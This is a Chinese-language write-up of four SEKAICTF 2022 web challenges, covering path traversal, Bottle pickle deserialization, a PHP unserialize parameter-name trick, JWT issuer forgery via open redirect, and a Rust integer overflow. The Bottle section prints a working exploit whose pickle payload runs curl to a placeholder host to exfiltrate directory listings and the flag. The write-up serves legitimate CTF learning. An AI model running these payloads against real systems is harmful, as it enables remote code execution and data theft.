前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SEKAICTF 2022 Web Writeup

SEKAICTF 2022 Web Writeup

作者头像
ek1ng
发布2023-01-02 11:30:47
8680
发布2023-01-02 11:30:47
举报
文章被收录于专栏:ek1ng的技术小站

Bottle Poem

Come and read poems in the bottle. No bruteforcing is required to solve this challenge. Please do not use scanner tools. Author: bwjy

Python Bottle框架伪造session打pickle反序列化的题目。

/show接口存在任意文件读取漏洞

/show?id=../../../../../../proc/self/cmdline得到源码位置/app/app.py

/show?id=../../../../../../app/app.py读取源码

代码语言:javascript
复制
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

/show?id=../../../../../../app/config/secret.py找到secretsekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

先成为admin看看有没有什么东西

然后把admin的模板文件读出来了也没找到什么

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Sekai's boooootttttttlllllllleeeee</title>
    <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="text-white bg-zinc-800 container px-4 mx-auto text-center h-screen box-border flex justify-center item-center flex-col">
        Hello, you are {{name}}, but it’s useless.
</body>
</html>

看bottle的源码发现是cookie_decode的时候会用pickle.loads,而pickle.loads会将反序列化得到的字符串当作命令执行,因此可以实现RCE。

pickle反序列化可以参考文章<https://ucasers.cn/python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B8%8E%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/>

EXP:

代码语言:javascript
复制
from bottle import route, run,response
import os


sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

class exp():
    def __reduce__(self):
        # cmd = "curl http://x.x.x.x:7777/123?res=`ls -la /|base64 -w 0`"
        cmd = "curl http://x.x.x.x:7777/123?res=`/flag|base64 -w 0`"
        return (os.system, (cmd,))


@route("/sign")
def index():
    try:
        # session = {"name": "admin"}
        session = exp()
        response.set_cookie("name", session, secret=sekai)
        return "success"
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

Sekai Game Start

无聊的PHP Trick题目

代码语言:javascript
复制
include('./flag.php');
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['sekai_game.run'])){
    unserialize($_GET['sekai_game.run']);
}else{
    var_dump($_GET);
    highlight_file(__FILE__);
}

?>

var_dump($_GET);可以打印变量,发现.会被解析成_

所以第一步是找到如何能够输入变量sekai_game.run

参考文章<https://www.freebuf.com/articles/web/213359.html><https://blog.csdn.net/solitudi/article/details/120502141>

原因是PHP的parse_str函数通常被自动应用于get、post请求和cookie中。如果你的Web服务器接受带有特殊字符的参数名,那么也会发生类似的情况。

这是PHP源码中找到的代码片段

代码语言:javascript
复制
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
 if (*p == ' ' || *p == '.') {
  *p='_';
 } else if (*p == '[') {
  is_array = 1;
  ip = p;
  *p = 0;
  break;
 }
}

因此结论是[.以及空格会被解析为_,但是如果前面有[,例如[[只会将前一个[解析成_,因此sekai[game.run会被解析为sekai_game.run,也就是这里的Trick。

根据文章<https://bugs.php.net/bug.php?id=81151>,输入?sekai[game.run=C:10:"Sekai_Game":0:{}

Issues

一道JWT伪造的题目。

根据源代码中对传入JWT的校验,当Header中issuer属性不正确时,会给出valid_issuer,所以先随便传一个JWT,拿到valid_issuer

代码语言:javascript
复制
def get_public_key_url(token):
    is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain

    header = jwt.get_unverified_header(token)
    if "issuer" not in header:
        raise Exception("issuer not found in JWT header")
    token_issuer = header["issuer"]

    if not is_valid_issuer(token_issuer):
        raise Exception(
            "Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
                issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
            )
        )

    pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
    return pubkey_url

那么接下来我们让Header中的issuer变成http://localhost:8080。因为有http://这里netloc才能解析出localhost:8080

然后这里还有个问题是RS256的公钥和密钥的校验怎么办,这也是完成伪造的关键一步。

代码中解析publickey的部分为pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer),public key来自header里issuer来源,而要求header里的issuer来自环境变量中的HOST,使逻辑上让public key也来自本地。

代码语言:javascript
复制
valid_issuer_domain = os.getenv("HOST") #从环境变量中HOST获取valid_issuer_domain为localhost:8080

def get_public_key_url(token):
    is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain

    header = jwt.get_unverified_header(token)
    if "issuer" not in header:
        raise Exception("issuer not found in JWT header")
    token_issuer = header["issuer"]

    if not is_valid_issuer(token_issuer):
        raise Exception(
            "Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
                issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
            )
        )

    pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer) #把token_issuer作为HOST获取jwks.json
    return pubkey_url

那么我们这里就需要既能通过valid_issuer_domain的校验让其认为是来自localhost:8080,又让pubkey_url从我们给出的HOST获取公钥,来完成JWT的伪造。

代码语言:javascript
复制
@app.route("/logout")
def logout():
    session.clear()
    redirect_uri = request.args.get('redirect', url_for('home'))
    return redirect(redirect_uri)

/logout的路由处提供来redirect的功能,使我们可以构造http://localhost:8080/logout?redirect=http://Host:Port,让valid_issuer_domain会获取到localhost:8080pubkey_url会去http://Host:Port拿公钥。

用自己的一对公私钥来生成一个JWT

代码语言:javascript
复制
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImlzc3VlciI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9sb2dvdXQ_cmVkaXJlY3Q9aHR0cDovLzM5LjEwOC4yNTMuMTA1Ojc3NzcifQ.eyJ1c2VyIjoiYWRtaW4ifQ.QZBreri9WxDMyshYnTRPkz15feQO21eVFw5Dm6Ipo-l8LNrffErnmQVVxxuo4B6ycHVDbRRIaijwPDqGuWxfUNdWKOQqy3ceL9eC_ZPUWe96O71N51CkZBovLG7cLtjWy1zapZS5nFYplottVgkR2pAGlv9oeKmWOt_5PZvKggyDK4KEDZIo29qYCt9LnxWqAaxYm8g6bUA-4j_OkjtseM64uGfrGwDIh_x-od1-Mhk7GjP92kbQX-cgT6u_d3E-ZrRGRVVA4FDzLf6HcSY9-wNAF9ahldETUUAjdq5uX7IWVSamfOqVSotI4-cSkYytPgKWlFpc_k19vCeX-sg9pA

在服务器上放这个json文件

代码语言:javascript
复制
{
    "keys": [
        {
            "alg": "RS256",
            "x5c": [
                "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu1SU1LfVLPHCozMxH2Mo\n4lgOEePzNm0tRgeLezV6ffAt0gunVTLw7onLRnrq0/IzW7yWR7QkrmBL7jTKEn5u\n+qKhbwKfBstIs+bMY2Zkp18gnTxKLxoS2tFczGkPLPgizskuemMghRniWaoLcyeh\nkd3qqGElvW/VDL5AaWTg0nLVkjRo9z+40RQzuVaE8AkAFmxZzow3x+VJYKdjykkJ\n0iT9wCS0DRTXu269V264Vf/3jvredZiKRkgwlL9xNAwxXFg0x/XFw005UWVRIkdg\ncKWTjpBP2dPwVZ4WWC+9aGVd+Gyn1o0CLelf4rEjGoXbAAEgAqeGUxrcIlbjXfbc\nmwIDAQAB"
            ]
        }
    ]
}

带token请求/api/flag -> 通过valid_issuer_domain的域名校验和Token的公钥校验 -> 拿到flag

Crab Commodities

赛后复现出来的,一道Rust的逻辑漏洞题。

注册账号登陆后会有$30000,并且有贷款,增加库存,增加商店,捐款,购买Flag,睡觉和在市场里消费这样一些功能,而时间仅有7天贷款只能一次,因此正常玩是不可能买下Flag的,需要的钱太多了。

题目是给出了源代码的,看到api.rs/upgrade接口中,增加库存和增加商店的逻辑处理这部分。

代码语言:javascript
复制

#[post("/upgrade")]
async fn upgrade(user: User, body: web::Form<ItemPayload>) -> Json<APIResult> {
    if user.game.is_over() {
        return web::Json(APIResult {
            success: false,
            message: "The game is over",
        });
    }

    if body.quantity <= 0 || body.quantity > 32767 {
        return web::Json(APIResult {
            success: false,
            message: "Invalid quantity",
        });
    }

    // upgrades
    if let Some(item) = crate::game::UPGRADES.iter().find(|u| u.name == body.name) {
        let mut price = item.price;

        // quantity matters for donate and storage
        if item.name == "Donate to charity" || item.name == "Storage Upgrade" {
            price *= body.quantity;
        }

        // upgrade checks
        if user.game.has_upgrade("Loan") && item.name == "Loan" {
            return web::Json(APIResult {
                success: false,
                message: "You can't take out another loan",
            });
        }
        if user.game.has_upgrade("More Commodities") && item.name == "More Commodities" {
            return web::Json(APIResult {
                success: false,
                message: "You already have access to all commodities",
            });
        }

        if user.game.money.get() < price as i64 {
            return web::Json(APIResult {
                success: false,
                message: "Not enough money",
            });
        }

        let mut upgrades = user.game.upgrades.get();
        upgrades.extend(vec![item].repeat(body.quantity as usize));
        if upgrades.len() > 32767 {
            return web::Json(APIResult {
                success: false,
                message: "Too many upgrades purchased",
            });
        }
        user.game.upgrades.set(upgrades);

        if price != 0 {
            user.game.money.set(user.game.money.get() - price as i64);
        }

        if item.name == "Storage Upgrade" {
            return web::Json(APIResult {
                success: true,
                message: "Enjoy your new storage",
            });
        } else if item.name == "More Commodities" {
            let mut market = user.game.market.get();
            market.extend(crate::game::EXTENDED_ITEMS);
            user.game.market.set(market);
            user.game.market.set(user.game.randomize_market());
            return web::Json(APIResult {
                success: true,
                message: "Enjoy your new selection",
            });
        } else if item.name == "Flag" {
            return web::Json(APIResult {
                success: true,
                message: "Hacker...",
            });
        } else if item.name == "Loan" {
            user.game.debt.set(user.game.debt.get() - item.price as i64); // since item.price is negative for loan
            return web::Json(APIResult {
                success: true,
                message: "Make sure to pay it back...",
            });
        } else if item.name == "Donate to charity" {
            return web::Json(APIResult {
                success: true,
                message: "What a nice gesture :)",
            });
        } else if item.name == "Sleep" {
            user.game.day.set(user.game.day.get() + 1);
            user.game.market.set(user.game.randomize_market());

            return web::Json(APIResult {
                success: true,
                message: "Have a nice rest...",
            });
        }
    }
    web::Json(APIResult {
        success: false,
        message: "No upgrade found with that name",
    })
}

在这一部分中

代码语言:javascript
复制
// quantity matters for donate and storage
if item.name == "Donate to charity" || item.name == "Storage Upgrade" {
    price *= body.quantity;
}

我们可以看到因为需要进行单价乘以数量等于总量的计算,因此有price *= body.quantity,这看起来是很合理的。

代码语言:javascript
复制
#[derive(Debug, Copy, Clone, Serialize)]
pub struct Item {
    pub name: &'static str,
    pub price: i32,
    pub volatility: f64,
}

而我们再看到game.rs中是如何定义price变量,这里price是一个有符号的32位整数,也就是漏洞产生的原因,当price溢出时进行价格的计算,就会不减反加,而且贷款等功能也是通过一个负数价格来进行增加的,总之这里的设计导致了会产生漏洞,在这里传入的body.quantity当比较大时,计算出的price会溢出成一个负数,而这时候进行付款计算,我们的钱就会增加,当然我们需要恰好溢出一些使其成为一个比较大的负数,来刚好能买下flag。

购买22000个增加库存。

SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年10月3日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Bottle Poem
  • Sekai Game Start
  • Issues
  • Crab Commodities
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档